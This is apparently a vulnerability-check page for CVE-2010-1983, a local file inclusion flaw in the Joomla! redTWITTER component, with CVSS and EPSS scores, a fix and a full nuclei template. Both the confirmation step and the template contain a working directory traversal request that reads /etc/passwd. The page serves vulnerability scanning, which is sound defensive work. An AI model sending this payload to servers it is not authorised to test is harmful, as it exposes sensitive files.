Joomla! Component redTWITTER 1.0 - Local File Inclusion

highseverity

7.5CVSS score

18.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A drectory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1983 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1983

info:
  name: Joomla! Component redTWITTER 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A drectory traversal vulnerability in the redTWITTER (com_redtwitter) component 1.0.x including 1.0b11 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12055
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1983
    - http://packetstormsecurity.org/1004-exploits/joomlaredtwitter-lfi.txt
    - http://www.exploit-db.com/exploits/12055
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57511
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1983
    cwe-id: CWE-22
    epss-score: 0.18816
    epss-percentile: 0.97306
    cpe: cpe:2.3:a:redcomponent:com_redtwitter:1.0b8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: redcomponent
    product: com_redtwitter
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,redcomponent,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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